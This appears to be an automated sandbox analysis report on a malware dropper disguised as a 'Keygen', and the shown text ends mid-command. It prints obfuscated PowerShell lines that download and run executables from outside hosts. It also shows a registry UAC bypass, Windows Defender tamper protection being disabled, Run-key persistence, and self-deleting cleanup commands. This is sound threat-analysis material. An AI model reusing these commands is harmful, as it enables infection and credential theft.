3008 RBabUs54Us.exe 1248 eYPP1oZQ1b.exe 2476 EFWQHA1FzQ.exe -
Loads dropped DLL 61 IoCs
Processes:
cmd.exepowershell.exemsr.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepowershell.exepowershell.exezkh.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepowershell.exezkh.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeWScript.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exemsr.exehgfnmbasdo.exeWScript.exehgfnmbasdo.exeaxcsdfa.exepid process 1804 cmd.exe 1488 powershell.exe 1488 powershell.exe 2496 msr.exe 2496 msr.exe 2496 msr.exe 2496 msr.exe 2588 FVjhgtresfdbv.exe 2628 NHtrdsaghfDF.exe 1420 powershell.exe 1076 powershell.exe 1076 powershell.exe 2920 zkh.exe 2920 zkh.exe 2920 zkh.exe 2920 zkh.exe 3028 FVjhgtresfdbv.exe 3060 NHtrdsaghfDF.exe 2044 powershell.exe 2400 zkh.exe 2400 zkh.exe 2400 zkh.exe 2400 zkh.exe 2544 NHtrdsaghfDF.exe 1568 FVjhgtresfdbv.exe 1788 WScript.exe 2652 FVjhgtresfdbv.exe 2652 FVjhgtresfdbv.exe 2652 FVjhgtresfdbv.exe 2652 FVjhgtresfdbv.exe 2652 FVjhgtresfdbv.exe 2860 FVjhgtresfdbv.exe 2860 FVjhgtresfdbv.exe 2860 FVjhgtresfdbv.exe 2860 FVjhgtresfdbv.exe 2860 FVjhgtresfdbv.exe 2124 FVjhgtresfdbv.exe 2124 FVjhgtresfdbv.exe 2124 FVjhgtresfdbv.exe 2124 FVjhgtresfdbv.exe 2124 FVjhgtresfdbv.exe 2684 msr.exe 3012 hgfnmbasdo.exe 2940 WScript.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe 328 hgfnmbasdo.exe 328 hgfnmbasdo.exe 328 hgfnmbasdo.exe 328 hgfnmbasdo.exe 328 hgfnmbasdo.exe 2748 axcsdfa.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe 2684 msr.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
EFWQHA1FzQ.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features EFWQHA1FzQ.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" EFWQHA1FzQ.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
RBabUs54Us.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ggeb = "C:\\Users\\Admin\\AppData\\Local\\begG.url" RBabUs54Us.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops desktop.ini file(s) 1 IoCs
Processes:
msr.exedescription ioc process File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini msr.exe -
Suspicious use of SetThreadContext 13 IoCs
Processes:
FVjhgtresfdbv.exemsr.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezkh.exeNHtrdsaghfDF.exezkh.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeewd.exeewd.exehgfnmbasdo.exeaxcsdfa.exedescription pid process target process PID 2588 set thread context of 2652 2588 FVjhgtresfdbv.exe FVjhgtresfdbv.exe PID 2496 set thread context of 2684 2496 msr.exe msr.exe PID 2628 set thread context of 2744 2628 NHtrdsaghfDF.exe NHtrdsaghfDF.exe PID 3028 set thread context of 2124 3028 FVjhgtresfdbv.exe FVjhgtresfdbv.exe PID 2920 set thread context of 1552 2920 zkh.exe zkh.exe PID 3060 set thread context of 2212 3060 NHtrdsaghfDF.exe NHtrdsaghfDF.exe PID 2400 set thread context of 2680 2400 zkh.exe zkh.exe PID 2544 set thread context of 2588 2544 NHtrdsaghfDF.exe NHtrdsaghfDF.exe PID 1568 set thread context of 2860 1568 FVjhgtresfdbv.exe FVjhgtresfdbv.exe PID 2900 set thread context of 2476 2900 ewd.exe ewd.exe PID 2356 set thread context of 2964 2356 ewd.exe ewd.exe PID 3012 set thread context of 328 3012 hgfnmbasdo.exe hgfnmbasdo.exe PID 2748 set thread context of 1604 2748 axcsdfa.exe axcsdfa.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
FVjhgtresfdbv.exehgfnmbasdo.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString hgfnmbasdo.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 1892 timeout.exe 1580 timeout.exe 2720 timeout.exe -
Kills process with taskkill 4 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 2208 taskkill.exe 1332 taskkill.exe 1400 taskkill.exe 980 taskkill.exe -
Processes:
mshta.exemshta.exemshta.exemshta.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 7 IoCs
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\windows\\SysWow64\\cmd.exe /c REG ADD HKLM\\software\\microsoft\\windows\\currentversion\\policies\\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" reg.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings\shell\open\command reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute = " " reg.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\ms-settings\shell\open\command reg.exe -
Modifies registry key 1 TTPs 2 IoCs
-
Processes:
msr.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 msr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 msr.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 59 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeEFWQHA1FzQ.exepowershell.exeeYPP1oZQ1b.exepid process 1076 powershell.exe 2044 powershell.exe 1868 powershell.exe 1488 powershell.exe 1480 powershell.exe 1420 powershell.exe 1076 powershell.exe 1480 powershell.exe 1420 powershell.exe 1488 powershell.exe 2044 powershell.exe 1868 powershell.exe 2476 EFWQHA1FzQ.exe 2476 EFWQHA1FzQ.exe 560 powershell.exe 560 powershell.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe -
Suspicious behavior: MapViewOfSection 9 IoCs
Processes:
FVjhgtresfdbv.exemsr.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exezkh.exeNHtrdsaghfDF.exezkh.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exepid process 2588 FVjhgtresfdbv.exe 2496 msr.exe 2628 NHtrdsaghfDF.exe 3028 FVjhgtresfdbv.exe 2920 zkh.exe 3060 NHtrdsaghfDF.exe 2400 zkh.exe 2544 NHtrdsaghfDF.exe 1568 FVjhgtresfdbv.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeewd.exeewd.exetaskkill.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exeEFWQHA1FzQ.exepowershell.exeeYPP1oZQ1b.exe1wd1PPK5LT.exePowershell.exedescription pid process Token: SeDebugPrivilege 1076 powershell.exe Token: SeDebugPrivilege 2044 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeDebugPrivilege 1488 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeDebugPrivilege 2900 ewd.exe Token: SeDebugPrivilege 2356 ewd.exe Token: SeDebugPrivilege 1332 taskkill.exe Token: SeDebugPrivilege 1400 taskkill.exe Token: SeDebugPrivilege 980 taskkill.exe Token: SeDebugPrivilege 3012 hgfnmbasdo.exe Token: SeDebugPrivilege 2208 taskkill.exe Token: SeDebugPrivilege 2748 axcsdfa.exe Token: SeDebugPrivilege 2476 EFWQHA1FzQ.exe Token: SeDebugPrivilege 560 powershell.exe Token: SeDebugPrivilege 1248 eYPP1oZQ1b.exe Token: SeDebugPrivilege 1712 1wd1PPK5LT.exe Token: SeDebugPrivilege 800 Powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
Keygen.exemsr.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezkh.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezkh.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeeYPP1oZQ1b.exepid process 1872 Keygen.exe 2496 msr.exe 2588 FVjhgtresfdbv.exe 2628 NHtrdsaghfDF.exe 2920 zkh.exe 3028 FVjhgtresfdbv.exe 3060 NHtrdsaghfDF.exe 2400 zkh.exe 2544 NHtrdsaghfDF.exe 1568 FVjhgtresfdbv.exe 1248 eYPP1oZQ1b.exe 1248 eYPP1oZQ1b.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Keygen — копия (32).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exedescription pid process target process PID 1196 wrote to memory of 1804 1196 Keygen — копия (32).exe cmd.exe PID 1196 wrote to memory of 1804 1196 Keygen — копия (32).exe cmd.exe PID 1196 wrote to memory of 1804 1196 Keygen — копия (32).exe cmd.exe PID 1196 wrote to memory of 1804 1196 Keygen — копия (32).exe cmd.exe PID 1804 wrote to memory of 1872 1804 cmd.exe Keygen.exe PID 1804 wrote to memory of 1872 1804 cmd.exe Keygen.exe PID 1804 wrote to memory of 1872 1804 cmd.exe Keygen.exe PID 1804 wrote to memory of 1872 1804 cmd.exe Keygen.exe PID 1804 wrote to memory of 1544 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1544 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1544 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1544 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1928 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1928 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1928 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1928 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1892 1804 cmd.exe timeout.exe PID 1804 wrote to memory of 1892 1804 cmd.exe timeout.exe PID 1804 wrote to memory of 1892 1804 cmd.exe timeout.exe PID 1804 wrote to memory of 1892 1804 cmd.exe timeout.exe PID 1544 wrote to memory of 1076 1544 mshta.exe powershell.exe PID 1928 wrote to memory of 2044 1928 mshta.exe powershell.exe PID 1544 wrote to memory of 1076 1544 mshta.exe powershell.exe PID 1928 wrote to memory of 2044 1928 mshta.exe powershell.exe PID 1544 wrote to memory of 1076 1544 mshta.exe powershell.exe PID 1928 wrote to memory of 2044 1928 mshta.exe powershell.exe PID 1544 wrote to memory of 1076 1544 mshta.exe powershell.exe PID 1928 wrote to memory of 2044 1928 mshta.exe powershell.exe PID 1804 wrote to memory of 992 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 992 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 992 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 992 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1584 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1584 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1584 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1584 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1580 1804 cmd.exe timeout.exe PID 1804 wrote to memory of 1580 1804 cmd.exe timeout.exe PID 1804 wrote to memory of 1580 1804 cmd.exe timeout.exe PID 1804 wrote to memory of 1580 1804 cmd.exe timeout.exe PID 992 wrote to memory of 1420 992 mshta.exe powershell.exe PID 992 wrote to memory of 1420 992 mshta.exe powershell.exe PID 992 wrote to memory of 1420 992 mshta.exe powershell.exe PID 992 wrote to memory of 1420 992 mshta.exe powershell.exe PID 1584 wrote to memory of 1480 1584 mshta.exe powershell.exe PID 1584 wrote to memory of 1480 1584 mshta.exe powershell.exe PID 1584 wrote to memory of 1480 1584 mshta.exe powershell.exe PID 1584 wrote to memory of 1480 1584 mshta.exe powershell.exe PID 1804 wrote to memory of 1084 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1084 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1084 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 1084 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 848 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 848 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 848 1804 cmd.exe mshta.exe PID 1804 wrote to memory of 848 1804 cmd.exe mshta.exe PID 1084 wrote to memory of 1488 1084 mshta.exe powershell.exe PID 1084 wrote to memory of 1488 1084 mshta.exe powershell.exe PID 1084 wrote to memory of 1488 1084 mshta.exe powershell.exe PID 1084 wrote to memory of 1488 1084 mshta.exe powershell.exe PID 848 wrote to memory of 1868 848 mshta.exe powershell.exe PID 848 wrote to memory of 1868 848 mshta.exe powershell.exe PID 848 wrote to memory of 1868 848 mshta.exe powershell.exe PID 848 wrote to memory of 1868 848 mshta.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (32).exe"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (32).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\3082.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (32).exe""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\Keygen.exeKeygen.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3082.tmp\m.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\zkh.exe"C:\Users\Public\zkh.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2124 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\712365987067906\\* & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 21249⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
-
C:\Users\Public\zkh.exe"C:\Users\Public\zkh.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3082.tmp\m1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\zkh.exe"C:\Users\Public\zkh.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2860 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\397060367355630\\* & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 28609⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
-
C:\Users\Public\zkh.exe"C:\Users\Public\zkh.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3082.tmp\b.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex 